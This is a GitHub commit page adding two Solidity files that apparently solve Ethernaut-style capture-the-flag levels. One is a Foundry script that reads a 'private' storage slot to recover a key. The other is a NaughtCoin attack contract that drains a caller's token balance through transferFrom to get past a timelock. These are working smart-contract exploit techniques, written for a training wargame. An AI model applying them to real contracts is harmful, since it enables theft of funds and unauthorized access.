Skip to content

Commit 7a2f86e

Browse files
committed
lvl: naughtcoin
1 parent 3afe789 commit 7a2f86e

File tree

2 files changed

+38
-0
lines changed

2 files changed

+38
-0
lines changed

script/Privacy/PrivacyUnlocker.sol

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import {Script} from "forge-std/Script.sol";
5+
import {console} from "forge-std/console.sol";
6+
7+
contract PrivacyUnlocker is Script {
8+
9+
function run() external {
10+
11+
address levelInstance = 0xA0139e8cDC6611169F5DF7a78De94c31a80B5306;
12+
uint dataSlot = 5;
13+
bytes32 data;
14+
15+
data = vm.load(levelInstance, bytes32(dataSlot));
16+
17+
console.logBytes16(bytes16(data));
18+
}
19+
}

src/NaughtCoin.sol

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
interface IERC20 {
5+
function transferFrom(address from, address to, uint256 value) external returns (bool);
6+
function balanceOf(address account) external view returns (uint256);
7+
}
8+
9+
contract NaughtCoin {
10+
11+
address target = 0xbb69f7f53c3f50633a1dFB009cA29d79f6f9BD8d;
12+
13+
constructor() {}
14+
15+
function attack() public {
16+
uint256 balanceCaller = IERC20(target).balanceOf(msg.sender);
17+
IERC20(target).transferFrom(msg.sender, address(this), balanceCaller);
18+
}
19+
}

0 commit comments

Comments
 (0)